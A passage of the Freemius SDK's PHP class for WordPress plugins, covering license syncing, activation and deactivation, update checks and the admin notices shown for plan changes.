$this->_logger->entrance(); $api = $this->get_api_user_scope(); if ( ! is_numeric( $plugin_id ) ) { $plugin_id = $this->_plugin->id; } $include_bundles = ( is_object( $this->_plugin ) && FS_Plugin::is_valid_id( $this->_plugin->bundle_id ) ); $result = $api->get( "/plugins/{$plugin_id}/payments.json?include_addons=true" . ($include_bundles ? '&include_bundles=true' : ''), $flush ); if ( ! isset( $result->error ) ) { for ( $i = 0, $len = count( $result->payments ); $i < $len; $i ++ ) { $result->payments[ $i ] = new FS_Payment( $result->payments[ $i ] ); } $result = $result->payments; } return $result; } /** * @author Vova Feldman (@svovaf) * @since 1.2.1.5 * @uses FS_Api * * @param bool $flush * * @return \FS_Billing|mixed */ function _fetch_billing( $flush = false ) { require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-billing.php'; $billing = $this->get_api_user_scope()->get( 'billing.json', $flush ); if ( $this->is_api_result_entity( $billing ) ) { $billing = new FS_Billing( $billing ); } return $billing; } /** * @author Vova Feldman (@svovaf) * @since 1.0.5 * * @param FS_Plugin_License[] $licenses * @param number $module_id */ private function _update_licenses( $licenses, $module_id ) { $this->_logger->entrance(); if ( is_array( $licenses ) ) { for ( $i = 0, $len = count( $licenses ); $i < $len; $i ++ ) { $licenses[ $i ]->updated = time(); } } $this->_store_licenses( true, $module_id, $licenses ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @param bool|number $plugin_id * @param bool $flush Since 1.1.7.3 * @param int $expiration Since 1.2.2.7 * @param bool|string $newer_than Since 2.2.1 * * @return object|false New plugin tag info if exist. */ private function _fetch_newer_version( $plugin_id = false, $flush = true, $expiration = WP_FS__TIME_24_HOURS_IN_SEC, $newer_than = false ) { $latest_tag = $this->_fetch_latest_version( $plugin_id, $flush, $expiration, $newer_than ); if ( ! is_object( $latest_tag ) ) { return false; } $plugin_version = $this->get_plugin_version(); // Check if version is actually newer. $has_new_version = // If it's an non-installed add-on then always return latest. ( $this->_is_addon_id( $plugin_id ) && ! $this->is_addon_activated( $plugin_id ) ) || // Compare versions. version_compare( $plugin_version, $latest_tag->version, '<' ); $this->_logger->departure( $has_new_version ? 'Found newer plugin version ' . $latest_tag->version : 'No new version' ); $is_latest_version_beta = ( 'beta' === $latest_tag->release_mode ); $this->_storage->beta_data = array( 'is_beta' => $is_latest_version_beta, 'version' => $latest_tag->version ); return $has_new_version ? $latest_tag : false; } /** * @author Vova Feldman (@svovaf) * @since 1.0.5 * * @param bool|number $plugin_id * @param bool $flush Since 1.1.7.3 * @param int $expiration Since 1.2.2.7 * @param bool|string $newer_than Since 2.2.1 * * @return bool|FS_Plugin_Tag */ function get_update( $plugin_id = false, $flush = true, $expiration = WP_FS__TIME_24_HOURS_IN_SEC, $newer_than = false ) { $this->_logger->entrance(); if ( ! is_numeric( $plugin_id ) ) { $plugin_id = $this->_plugin->id; } $this->check_updates( true, $plugin_id, $flush, $expiration, $newer_than ); $updates = $this->get_all_updates(); return isset( $updates[ $plugin_id ] ) && is_object( $updates[ $plugin_id ] ) ? $updates[ $plugin_id ] : false; } /** * Check if site assigned with active license. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @deprecated Please use has_active_valid_license() instead because license can be cancelled. */ function has_active_license() { return ( is_object( $this->_license ) && is_numeric( $this->_license->id ) && ! $this->_license->is_expired() ); } /** * Check if site assigned with active & valid (not expired) license. * * @author Vova Feldman (@svovaf) * @since 1.2.1 * * @param bool $check_expiration */ function has_active_valid_license( $check_expiration = true ) { return self::is_active_valid_license( $this->_license, $check_expiration ); } /** * @author Leo Fajardo (@leorw) * @since 2.3.1 */ function is_data_debug_mode() { if ( is_null( $this->is_whitelabeled ) || ! $this->is_whitelabeled ) { return false; } $fs = $this->is_addon() ? $this->get_parent_instance() : $this; if ( $fs->is_network_active() && fs_is_network_admin() ) { $is_developer_license_debug_mode = get_site_transient( "fs_{$this->get_id()}_data_debug_mode" ); } else { $is_developer_license_debug_mode = get_transient( "fs_{$this->get_id()}_data_debug_mode" ); } return ( 'true' === $is_developer_license_debug_mode ); } /** * @author Leo Fajardo (@leorw) * @since 2.3.1 */ function _set_data_debug_mode() { if ( ! $this->is_whitelabeled( true ) ) { return; } $license_or_user_key = fs_request_get_raw( 'license_or_user_key' ); $transient_value = ( ! empty( $license_or_user_key ) ) ? 'true' : 'false'; if ( 'true' === $transient_value ) { $stored_key = $this->_storage->get( ! FS_User::is_valid_id( $this->_storage->last_license_user_id ) ? 'last_license_key' : 'last_license_user_key' ); if ( md5( $license_or_user_key ) !== $stored_key ) { $this->shoot_ajax_failure( sprintf( '%s... %s', $this->get_text_x_inline( 'Oops', 'exclamation', 'oops' ), $this->get_text_inline( 'seems like the key you entered doesn\'t match our records.', 'developer-or-license-not-found' ) ) ); } } if ( $this->is_network_active() && fs_is_network_admin() ) { set_site_transient( "fs_{$this->get_id()}_data_debug_mode", $transient_value, WP_FS__TIME_24_HOURS_IN_SEC / 24 ); } else { set_transient( "fs_{$this->get_id()}_data_debug_mode", $transient_value, WP_FS__TIME_24_HOURS_IN_SEC / 24 ); } if ( 'true' === $transient_value ) { $this->_admin_notices->add_sticky( $this->get_text_inline( 'Debug mode was successfully enabled and will be automatically disabled in 60 min. You can also disable it earlier by clicking the "Stop Debug" link.', 'data_debug_mode_enabled' ), 'data_debug_mode_enabled' ); } $this->shoot_ajax_success(); } /** * Check if a given license is active & valid (not expired). * * @author Vova Feldman (@svovaf) * @since 2.1.3 * * @param FS_Plugin_License $license * @param bool $check_expiration * * @return bool */ private static function is_active_valid_license( $license, $check_expiration = true ) { return ( is_object( $license ) && FS_Plugin_License::is_valid_id( $license->id ) && $license->is_active() && ( ! $check_expiration || $license->is_valid() ) ); } /** * Checks if there's any site that is associated with an active & valid license. * This logic is used to determine if the admin can download the premium code base from a network level admin. * * @author Vova Feldman (@svovaf) * @since 2.1.3 * * @return bool */ function has_any_active_valid_license() { if ( ! fs_is_network_admin() ) { return $this->has_active_valid_license(); } $installs = $this->get_blog_install_map(); $all_plugin_licenses = self::get_all_licenses( $this->_module_id ); foreach ( $installs as $blog_id => $install ) { if ( ! FS_Plugin_License::is_valid_id( $install->license_id ) ) { continue; } foreach ( $all_plugin_licenses as $license ) { if ( $license->id == $install->license_id ) { if ( self::is_active_valid_license( $license ) ) { return true; } } } } return false; } /** * Check if site assigned with license with enabled features. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @return bool */ function has_features_enabled_license() { return ( is_object( $this->_license ) && is_numeric( $this->_license->id ) && $this->_license->is_features_enabled() ); } /** * Checks if the product is activated with a bundle license. * * @author Leo Fajardo (@leorw) * @since 2.4.0 * * @return bool */ function is_activated_with_bundle_license() { if ( ! $this->has_features_enabled_license() ) { return false; } return FS_Plugin_License::is_valid_id( $this->_license->parent_license_id ); } /** * Check if user is a trial or have feature enabled license. * * @author Vova Feldman (@svovaf) * @since 1.1.7 * * @return bool */ function can_use_premium_code() { return $this->is_trial() || $this->has_features_enabled_license(); } /** * Checks if the current user can activate plugins or switch themes. Note that this method should only be used * after the `init` action is triggered because it is using `current_user_can()` which is only functional after * the context user is authenticated. * * @author Leo Fajardo (@leorw) * @since 1.2.2 * * @return bool */ function is_user_admin() { /** * Require a super-admin when network activated, running from the network level OR if * running from the site level but not delegated the opt-in. * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ if ( $this->_is_network_active && ( fs_is_network_admin() || ! $this->is_delegated_connection() ) ) { return is_super_admin(); } return ( $this->is_plugin() && current_user_can( is_multisite() ? 'manage_options' : 'activate_plugins' ) ) || ( $this->is_theme() && current_user_can( 'switch_themes' ) ); } /** * Sync site's plan. * * @author Vova Feldman (@svovaf) * @since 1.0.3 * * @uses FS_Api * * @param bool $background Hints the method if it's a background sync. If false, it means that was initiated by * the admin. * @param bool $is_context_single_site @since 2.0.0. This is used when syncing a license for a single install from the * network-level "Account" page. * @param int|null $current_blog_id @since 2.2.3. This is passed from the `execute_cron` method and used by the * `_sync_plugin_license` method in order to switch to the previous blog when sending * updates for a single site in case `execute_cron` has switched to a different blog. */ private function _sync_license( $background = false, $is_context_single_site = false, $current_blog_id = null ) { $this->_logger->entrance(); $plugin_id = fs_request_get( 'plugin_id', $this->get_id() ); $is_addon_sync = ( ! $this->_plugin->is_addon() && $plugin_id != $this->get_id() ); if ( $is_addon_sync ) { $this->_sync_addon_license( $plugin_id, $background ); } else { $this->_sync_plugin_license( $background, true, $is_context_single_site, $current_blog_id ); } $this->do_action( 'after_account_plan_sync', $this->get_plan_name() ); } /** * Sync plugin's add-on license. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * @uses FS_Api * * @param number $addon_id * @param bool $background */ private function _sync_addon_license( $addon_id, $background ) { $this->_logger->entrance(); if ( $this->is_addon_activated( $addon_id ) ) { // If already installed, use add-on sync. $fs_addon = self::get_instance_by_id( $addon_id ); if ( // Add-on is network activated and network integrated. $fs_addon->is_network_active() || // Background sync cron. self::is_cron() || // Add-on is not network activated or not network integrated. ! fs_is_network_admin() ) { $fs_addon->_sync_license( $background ); return; } } // Validate add-on exists. $addon = $this->get_addon( $addon_id ); if ( ! is_object( $addon ) ) { return; } // Add add-on into account add-ons. $account_addons = $this->get_account_addons(); if ( ! is_array( $account_addons ) ) { $account_addons = array(); } $account_addons[] = $addon->id; $account_addons = array_unique( $account_addons ); $this->_store_account_addons( $account_addons ); // Load add-on licenses. $licenses = $this->_fetch_licenses( $addon->id ); // Sync add-on licenses. if ( $this->is_array_instanceof( $licenses, 'FS_Plugin_License' ) ) { $this->_update_licenses( $licenses, $addon->id ); if ( ! $this->is_addon_installed( $addon->id ) && FS_License_Manager::has_premium_license( $licenses ) ) { $plans_result = $this->get_api_site_or_plugin_scope()->get( $this->add_show_pending( "/addons/{$addon_id}/plans.json" ) ); if ( ! isset( $plans_result->error ) ) { $plans = array(); foreach ( $plans_result->plans as $plan ) { $plans[] = new FS_Plugin_Plan( $plan ); } $this->_admin_notices->add_sticky( sprintf( ( FS_Plan_Manager::instance()->has_free_plan( $plans ) ? $this->get_text_inline( 'Your %s Add-on plan was successfully upgraded.', 'addon-successfully-upgraded-message' ) : /* translators: %s:product name, e.g. Facebook add-on was successfully... */ $this->get_text_inline( '%s Add-on was successfully purchased.', 'addon-successfully-purchased-message' ) ), $addon->title ) . ' ' . $this->get_latest_download_link( $this->get_text_inline( 'Download the latest version', 'download-latest-version' ), $addon_id ), 'addon_plan_upgraded_' . $addon->slug, $this->get_text_x_inline( 'Yee-haw', 'interjection expressing joy or exuberance', 'yee-haw' ) . '!' ); } } } } /** * Sync site's plugin plan. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * @uses FS_Api * * @param bool $background Hints the method if it's a background sync. If false, it means that was initiated by the admin. * @param bool $send_installs_update Since 2.0.0 * @param bool $is_context_single_site Since 2.0.0. This is used when sending an update for a single install and * syncing its license from the network-level "Account" page (e.g.: after * activating a license only for the single install). * @param int|null $current_blog_id Since 2.2.3. This is passed from the `execute_cron` method so that it * can be used here to switch to the previous blog in case `execute_cron` * has switched to a different blog. */ private function _sync_plugin_license( $background = false, $send_installs_update = true, $is_context_single_site = false, $current_blog_id = null ) { $this->_logger->entrance(); $plan_change = 'none'; $is_site_level_sync = ( $is_context_single_site || fs_is_blog_admin() || ! $this->_is_network_active ); if ( ! $send_installs_update ) { $site = $this->_site; } else { /** * Sync site info. * * @todo This line will execute install sync on a daily basis, even if running the free version (for opted-in users). The reason we want to keep it that way is for cases when the user was a paying customer, then there was a failure in subscription payment, and then after some time the payment was successful. This could be heavily optimized. For example, we can skip the $flush if the current install was never associated with a paid version. */ if ( $is_site_level_sync ) { /** * Switch to the previous blog since `execute_cron` may have switched to a different blog. * * @author Leo Fajardo (@leorw) * @since 2.2.3 */ if ( is_numeric( $current_blog_id ) ) { $this->switch_to_blog( $current_blog_id ); } $result = $this->send_install_update( array(), true, true ); $is_valid = $this->is_api_result_entity( $result ); } else { $result = $this->send_installs_update( array(), true, true ); $is_valid = $this->is_api_result_object( $result, 'installs' ); } if ( ! $is_valid ) { if ( $is_context_single_site ) { // Switch back to the main blog so that the following logic will have the right entities. $this->switch_to_blog( $this->_storage->network_install_blog_id ); } // Show API message only if not background sync or if paying customer. if ( ! $background || $this->is_paying() ) { // Try to ping API to see if not blocked. if ( FS_Api::is_blocked( $result ) ) { /** * @author Vova Feldman (@svovaf) * @since 1.1.6 Only show message related to one of the Freemius powered plugins. Once it will be resolved it will fix the issue for all plugins anyways. There's no point to scare users with multiple error messages. */ if ( ! self::$_global_admin_notices->has_sticky( 'api_blocked' ) ) { // Add notice immediately if not a background sync. $add_notice = ( ! $background ); if ( ! $add_notice ) { $counter = (int) get_transient( '_fs_api_connection_retry_counter' ); // We only want to add the notice after 3 consecutive failures. $add_notice = ( 3 <= $counter ); if ( ! $add_notice ) { /** * Update counter transient only if notice shouldn't be added. If it is added the transient will be reset anyway, because the retries mechanism should only start counting if the admin isn't aware of the connectivity issue. * * Also, since the background sync happens once a day, setting the transient expiration for a week should be enough to count 3 failures, if there's an actual connectivity issue. */ set_transient( '_fs_api_connection_retry_counter', $counter + 1, WP_FS__TIME_WEEK_IN_SEC ); } } // Add notice instantly for not-background sync and only after 3 failed attempts for background sync. if ( $add_notice ) { self::$_global_admin_notices->add( $this->generate_api_blocked_notice_message_from_result( $result ), '', 'error', $background, 'api_blocked' ); add_action( 'admin_footer', array( 'Freemius', '_add_api_connectivity_notice_handler_js' ) ); // Notice was just shown, reset connectivity counter. delete_transient( '_fs_api_connection_retry_counter' ); } } } else if ( is_object( $result ) ) { // Authentication params are broken. $this->_admin_notices->add( $this->get_text_inline( 'It seems like one of the authentication parameters is wrong. Update your Public Key, Secret Key & User ID, and try again.', 'wrong-authentication-param-message' ) . '
                  ' . $this->get_text_inline( 'Error received from the server:', 'server-error-message' ) . var_export( $result->error, true ), '', 'error' ); } } // No reason to continue with license sync while there are API issues. return; } // API is working now. Delete the transient and start afresh. delete_transient('_fs_api_connection_retry_counter'); if ( $is_site_level_sync ) { $site = new FS_Site( $result ); } else { // Map site addresses to their blog IDs. $address_to_blog_map = $this->get_address_to_blog_map(); // Find the current context install. $site = null; foreach ( $result->installs as $install ) { if ( $install->id == $this->_site->id ) { $site = new FS_Site( $install ); } else { $address = trailingslashit( fs_strip_url_protocol( $install->url ) ); $blog_id = $address_to_blog_map[ $address ]; $this->_store_site( true, $blog_id, new FS_Site( $install ) ); } } } // Sync plans. $this->_sync_plans(); } // Remove sticky API connectivity message. self::$_global_admin_notices->remove_sticky( 'api_blocked' ); if ( ! $this->has_paid_plan() ) { $this->_site = $site; $this->_store_site( true, $is_site_level_sync ? null : $this->get_network_install_blog_id() ); } else { $context_blog_id = 0; if ( $is_context_single_site ) { $context_blog_id = get_current_blog_id(); // Switch back to the main blog in order to properly sync the license. $this->switch_to_blog( $this->_storage->network_install_blog_id ); } /** * Sync licenses. Pass the site's license ID so that the foreign licenses will be fetched if the license * associated with that ID is not included in the user's licenses collection. */ $this->_sync_licenses( $site->license_id, ( $is_context_single_site ? $context_blog_id : null ) ); if ( $is_context_single_site ) { $this->switch_to_blog( $context_blog_id ); } // Check if plan / license changed. if ( $site->plan_id != $this->_site->plan_id || // Check if trial started. $site->trial_plan_id != $this->_site->trial_plan_id || $site->trial_ends != $this->_site->trial_ends || // Check if license changed. $site->license_id != $this->_site->license_id ) { if ( $site->is_trial() && ( ! $this->_site->is_trial() || $site->trial_ends != $this->_site->trial_ends ) ) { // New trial started. $this->_site = $site; $plan_change = 'trial_started'; // For trial with subscription use-case. $new_license = is_null( $site->license_id ) ? null : $this->_get_license_by_id( $site->license_id ); if ( is_object( $new_license ) && $new_license->is_valid() ) { $this->_site = $site; $this->_update_site_license( $new_license ); $this->_store_licenses(); $this->_sync_site_subscription( $this->_license ); } } else if ( $this->_site->is_trial() && ! $site->is_trial() && ! is_numeric( $site->license_id ) ) { // Was in trial, but now trial expired and no license ID. // New trial started. $this->_site = $site; $plan_change = 'trial_expired'; } else { $is_free = $this->is_free_plan(); // Make sure license exist and not expired. $new_license = is_null( $site->license_id ) ? null : $this->_get_license_by_id( $site->license_id ); if ( $is_free && is_null( $new_license ) && $this->has_any_license() && $this->_license->is_cancelled ) { // License cancelled. $this->_site = $site; $this->_update_site_license( $new_license ); $this->_store_licenses(); $plan_change = 'cancelled'; } else if ( $is_free && ( ( ! is_object( $new_license ) || $new_license->is_expired() ) ) ) { // The license is expired, so ignore upgrade method. $this->_site = $site; } else { // License changed. $this->_site = $site; /** * IMPORTANT: * The line below should be executed before trying to activate the license on the rest of the network, otherwise, the license' activation counters may be out of sync + there's no need to activate the license on the context site since it's already activated on it. * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ $this->_update_site_license( $new_license ); if ( ! $is_context_single_site && fs_is_network_admin() && $this->_is_network_active && $new_license->quota > 1 && get_blog_count() > 1 ) { // See if license can activated on all sites. if ( ! $this->try_activate_license_on_network( $this->_user, $new_license ) ) { if ( ! fs_request_get_bool( 'auto_install' ) ) { // Open the license activation dialog box on the account page. add_action( 'admin_footer', array( &$this, '_open_license_activation_dialog_box' ) ); } } } $this->_store_licenses(); $plan_change = $is_free ? ( $this->is_only_premium() ? 'activated' : 'upgraded' ) : ( is_object( $new_license ) ? 'changed' : 'downgraded' ); } } // Store updated site info. $this->_store_site( true, $is_site_level_sync ? null : $this->get_network_install_blog_id() ); } else { if ( ! is_object( $this->_license ) ) { $this->maybe_update_whitelabel_flag( FS_Plugin_License::is_valid_id( $site->license_id ) ? $this->get_license_by_id( $site->license_id ) : null ); } else { $this->maybe_update_whitelabel_flag( $this->_license ); if ( $this->_license->is_expired() ) { if ( ! $this->has_features_enabled_license() ) { $this->_deactivate_license(); $plan_change = 'downgraded'; } else { $last_time_expired_license_notice_was_shown = $this->_storage->get( 'expired_license_notice_shown', 0 ); if ( time() - ( 14 * WP_FS__TIME_24_HOURS_IN_SEC ) >= $last_time_expired_license_notice_was_shown ) { /** * Show the expired license notice every 14 days. * * @author Leo Fajardo (@leorw) * @since 2.3.1 */ $plan_change = 'expired'; } } } } if ( is_numeric( $site->license_id ) && is_object( $this->_license ) ) { $this->_sync_site_subscription( $this->_license ); } } if ( ! $this->is_addon() && $this->_site->is_beta() !== $site->is_beta() ) { // Beta flag updated. $this->_site = $site; $this->_store_site( true, $is_site_level_sync ? null : $this->get_network_install_blog_id() ); } if ( $this->is_addon() || $this->has_addons() ) { /** * Purge the valid user licenses cache so that when the "Account" or the "Add-Ons" page is loaded, * an updated valid user licenses collection will be fetched from the server which is used to also * update the account add-ons (add-ons the user has licenses for). * * @author Leo Fajardo (@leorw) * @since 2.2.4 */ $this->purge_valid_user_licenses_cache(); } } $hmm_text = $this->get_text_x_inline( 'Hmm', 'something somebody says when they are thinking about what you have just said.', 'hmm' ) . '...'; if ( $this->apply_filters( 'has_paid_plan_account', $this->has_paid_plan() ) ) { switch ( $plan_change ) { case 'none': if ( ! $background && is_admin() ) { $plan = $this->is_trial() ? $this->get_trial_plan() : $this->get_plan(); if ( $plan->is_free() ) { $this->_admin_notices->add( sprintf( $this->get_text_inline( 'It looks like you are still on the %s plan. If you did upgrade or change your plan, it\'s probably an issue on our side - sorry.', 'plan-did-not-change-message' ), '' . $plan->title . ( $this->is_trial() ? ' ' . $this->get_text_x_inline( 'Trial', 'trial period', 'trial' ) : '' ) . '' ) . ' ' . sprintf( '%s', $this->contact_url( 'bug', sprintf( $this->get_text_inline( 'I have upgraded my account but when I try to Sync the License, the plan remains %s.', 'plan-did-not-change-email-message' ), strtoupper( $plan->name ) ) ), $this->get_text_inline( 'Please contact us here', 'contact-us-here' ) ), $hmm_text ); } } break; case 'upgraded': case 'activated': $this->add_after_plan_activation_or_upgrade_instructions_notice( 'upgraded' === $plan_change ); $this->_admin_notices->remove_sticky( array( 'trial_started', 'trial_promotion', 'trial_expired', 'activation_complete', 'license_expired', ) ); break; case 'changed': $this->_admin_notices->add_sticky( sprintf( $this->get_text_inline( 'Your plan was successfully changed to %s.', 'plan-changed-to-x-message' ), $this->get_plan_title() ), 'plan_changed' ); $this->_admin_notices->remove_sticky( array( 'trial_started', 'trial_promotion', 'trial_expired', 'activation_complete', ) ); break; case 'downgraded': $this->_admin_notices->add_sticky( ($this->has_free_plan() ? sprintf( $this->get_text_inline( 'Your license has expired. You can still continue using the free %s forever.', 'license-expired-blocking-message' ), $this->_module_type ) : /* translators: %1$s: product title; %2$s, %3$s: wrapping HTML anchor element; %4$s: 'plugin', 'theme', or 'add-on'. */ sprintf( $this->get_text_inline( 'Your license has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.', 'license-expired-blocking-message_premium-only' ), sprintf('', $this->pricing_url()), '', $this->get_module_label(true) ) ), 'license_expired', $hmm_text ); $this->_admin_notices->remove_sticky( 'plan_upgraded' ); break; case 'cancelled': $this->_admin_notices->add( $this->get_text_inline( 'Your license has been cancelled. If you think it\'s a mistake, please contact support.', 'license-cancelled' ) . ' ' . sprintf( '%s', $this->contact_url( 'bug' ), $this->get_text_inline( 'Please contact us here', 'contact-us-here' ) ), $hmm_text, 'error' ); $this->_admin_notices->remove_sticky( 'plan_upgraded' ); break; case 'expired': $this->_admin_notices->add_sticky( sprintf( $this->get_text_inline( 'Your license has expired. You can still continue using all the %s features, but you\'ll need to renew your license to continue getting updates and support.', 'license-expired-non-blocking-message' ), $this->get_plan()->title ), 'license_expired', $hmm_text ); $this->_storage->expired_license_notice_shown = WP_FS__SCRIPT_START_TIME; $this->_admin_notices->remove_sticky( 'plan_upgraded' ); break; case 'trial_started': $this->add_complete_upgrade_instructions_notice( sprintf( $this->get_text_inline( 'Your trial has been successfully started.', 'trial-started-message' ), '' . $this->get_plugin_name() . '' ), 'trial_started', $this->get_trial_plan()->title ); $this->_admin_notices->remove_sticky( array( 'trial_promotion', ) ); break; case 'trial_expired': $this->_admin_notices->add_sticky( ($this->has_free_plan() ? $this->get_text_inline( 'Your free trial has expired. You can still continue using all our free features.', 'trial-expired-message' ) : /* translators: %1$s: product title; %2$s, %3$s: wrapping HTML anchor element; %4$s: 'plugin', 'theme', or 'add-on'. */ sprintf( $this->get_text_inline( 'Your free trial has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.', 'trial-expired-message_premium-only' ), sprintf('', $this->pricing_url()), '', $this->get_module_label(true))), 'trial_expired', $hmm_text ); $this->_admin_notices->remove_sticky( array( 'trial_started', 'trial_promotion', 'plan_upgraded', ) ); break; } } if ( 'none' !== $plan_change ) { if ( ! is_object( $this->_license ) || ! $this->_license->is_whitelabeled ) { $this->_admin_notices->remove_sticky( 'license_whitelabeled' ); } $this->do_action( 'after_license_change', $plan_change, $this->get_plan() ); } } /** * @author Leo Fajardo (@leorw) * @since 2.5.4 * * @param mixed $result * * @return string */ private function generate_api_blocked_notice_message_from_result( $result ) { $api_domains = $this->apply_filters( 'api_domains', array( 'api.freemius.com', 'wp.freemius.com', ) ); $api_domains_list_items = ''; foreach( $api_domains as $api_domain ) { $api_domains_list_items .= "
                • {$api_domain}
                • "; } $error_message = sprintf( $this->get_text_inline( 'Your server is blocking the access to Freemius\' API, which is crucial for %1$s synchronization. Please contact your host to whitelist the following domains:%2$s', 'server-blocking-access' ), $this->get_plugin_name(), "
                    {$api_domains_list_items}
                  " . $this->get_text_inline( 'Show error details', 'show-error-details' ) . " " ); $error_message = "
                  {$error_message}
                  " . ''; return $error_message; } /** * Include the required JS at the footer of the admin to trigger the license activation dialog box. * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ public function _open_license_activation_dialog_box() { $vars = array( 'license_id' => $this->_site->license_id ); fs_require_once_template( 'js/open-license-activation.php', $vars ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.5 * * @param bool $background * @param FS_Plugin_License|null $premium_license */ protected function _activate_license( $background = false, $premium_license = null ) { $this->_logger->entrance(); if ( is_null( $premium_license ) ) { $license_id = fs_request_get( 'license_id' ); if ( is_object( $this->_site ) && FS_Plugin_License::is_valid_id( $license_id ) && $license_id == $this->_site->license_id ) { // License is already activated. return; } $premium_license = FS_Plugin_License::is_valid_id( $license_id ) ? $this->_get_license_by_id( $license_id ) : $this->_get_available_premium_license(); } if ( ! is_object( $premium_license ) ) { return; } if ( ! is_object( $this->_site ) ) { // Not yet opted-in. $user = $this->get_current_or_network_user(); if ( ! is_object( $user ) ) { $user = self::_get_user_by_id( $premium_license->user_id ); } if ( is_object( $user ) ) { $this->install_with_user( $user, $premium_license->secret_key, false, false, false ); } else { $this->opt_in( false, false, false, $premium_license->secret_key ); return; } } /** * If the premium license is already associated with the install, just * update the license reference (activation is not required). * * @since 1.1.9 */ if ( $premium_license->id == $this->_site->license_id ) { // License is already activated. $this->_update_site_license( $premium_license ); $this->_store_account(); return; } if ( $this->_site->user_id != $premium_license->user_id ) { $api_request_params = array( 'license_key' => $premium_license->secret_key ); } else { $api_request_params = array(); } $api = $this->get_api_site_scope(); $license = $api->call( "/licenses/{$premium_license->id}.json?is_enriched=true", 'put', $api_request_params ); if ( ! $this->is_api_result_entity( $license ) ) { if ( ! $background ) { $this->_admin_notices->add( sprintf( '%s %s', $this->get_text_inline( 'It looks like the license could not be activated.', 'license-activation-failed-message' ), ( is_object( $license ) && isset( $license->error ) ? $license->error->message : sprintf( '%s
                  %s', $this->get_text_inline( 'Error received from the server:', 'server-error-message' ), var_export( $license, true ) ) ) ), $this->get_text_x_inline( 'Hmm', 'something somebody says when they are thinking about what you have just said.', 'hmm' ) . '...', 'error' ); } return; } $premium_license = new FS_Plugin_License( $license ); // Updated site plan. $site = $this->get_api_site_scope()->get( '/', true ); if ( $this->is_api_result_entity( $site ) ) { $this->_site = new FS_Site( $site ); } $this->_update_site_license( $premium_license ); $this->_store_account(); if ( $this->is_addon() || $this->has_addons() ) { /** * Purge the valid user licenses cache so that when the "Account" or the "Add-Ons" page is loaded, * an updated valid user licenses collection will be fetched from the server which is used to also * update the account add-ons (add-ons the user has licenses for). * * @author Leo Fajardo (@leorw) * @since 2.2.4 */ $this->purge_valid_user_licenses_cache(); } if ( ! $background ) { $this->add_complete_upgrade_instructions_notice( $this->get_text_inline( 'Your license was successfully activated.', 'license-activated-message' ), 'license_activated' ); } $this->_admin_notices->remove_sticky( array( 'trial_promotion', 'license_expired', ) ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.5 * * @param bool $show_notice */ protected function _deactivate_license( $show_notice = true ) { $this->_logger->entrance(); $hmm_text = $this->get_text_x_inline( 'Hmm', 'something somebody says when they are thinking about what you have just said.', 'hmm' ) . '...'; if ( ! FS_Plugin_License::is_valid_id( $this->_site->license_id ) ) { $this->_admin_notices->add( sprintf( $this->get_text_inline( 'It looks like your site currently doesn\'t have an active license.', 'no-active-license-message' ), $this->get_plan_title() ), $hmm_text ); return; } $api = $this->get_api_site_scope(); $license = $api->call( "/licenses/{$this->_site->license_id}.json", 'delete' ); $this->handle_license_deactivation_result( $license, $hmm_text, $show_notice ); } /** * @author Leo Fajardo (@leorw) * @since 2.2.1 * * @param FS_Plugin_License $license * @param bool|string $hmm_text * @param bool $show_notice */ private function handle_license_deactivation_result( $license, $hmm_text = false, $show_notice = true ) { if ( isset( $license->error ) ) { $this->_admin_notices->add( $this->get_text_inline( 'It looks like the license deactivation failed.', 'license-deactivation-failed-message' ) . '
                  ' . $this->get_text_inline( 'Error received from the server:', 'server-error-message' ) . ' ' . var_export( $license->error, true ), $hmm_text, 'error' ); return; } // Update license cache. if ( is_array( $this->_licenses ) ) { for ( $i = 0, $len = count( $this->_licenses ); $i < $len; $i ++ ) { if ( $license->id == $this->_licenses[ $i ]->id ) { $this->_licenses[ $i ] = new FS_Plugin_License( $license ); } } } // Update site plan to default. $this->_sync_plans(); $this->_site->plan_id = $this->_plans[0]->id; // Unlink license from site. $this->_update_site_license( null ); $this->_store_account(); if ( $show_notice ) { $this->_admin_notices->add( sprintf( $this->is_only_premium() ? $this->get_text_inline( 'Your %s license was successfully deactivated.', 'license-deactivation-message_premium-only' ) : $this->get_text_inline( 'Your license was successfully deactivated, you are back to the %s plan.', 'license-deactivation-message' ), $this->get_plan_title() ), $this->get_text_inline( 'O.K', 'ok' ) ); } $this->_admin_notices->remove_sticky( array( 'plan_upgraded', 'license_activated', ) ); } /** * Site plan downgrade. * * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @return object * * @uses FS_Api */ private function _downgrade_site() { $this->_logger->entrance(); $deactivate_license = fs_request_get_bool( 'deactivate_license' ); $api = $this->get_api_site_scope(); $site = $api->call( 'downgrade.json', 'put', array( 'deactivate_license' => $deactivate_license ) ); $plan_downgraded = false; $plan = false; if ( $this->is_api_result_entity( $site ) ) { $prev_plan_id = $this->_site->plan_id; // Update new site plan id. $this->_site->plan_id = $site->plan_id; $plan = $this->get_plan(); $subscription = $this->_sync_site_subscription( $this->_license ); // Plan downgraded if plan was changed or subscription was cancelled. $plan_downgraded = ( $plan instanceof FS_Plugin_Plan && $prev_plan_id != $plan->id ) || ( is_object( $subscription ) && ! isset( $subscription->error ) && ! $subscription->is_active() ); } else { // handle different error cases. $this->handle_license_deactivation_result( $site, $this->get_text_x_inline( 'Hmm', 'something somebody says when they are thinking about what you have just said.', 'hmm' ) . '...' ); } if ( ! $plan_downgraded ) { return (object) array( 'error' => (object) array( 'message' => $this->get_text_inline( 'Seems like we are having some temporary issue with your subscription cancellation. Please try again in few minutes.', 'subscription-cancellation-failure-message' ) ) ); } // Remove previous sticky message about upgrade (if exist). $this->_admin_notices->remove_sticky( 'plan_upgraded' ); $this->_admin_notices->add( sprintf( $this->get_text_inline( 'Your subscription was successfully cancelled. Your %s plan license will expire in %s.', 'plan-x-downgraded-message' ), $plan->title, human_time_diff( time(), strtotime( $this->_license->expiration ) ) ) ); // 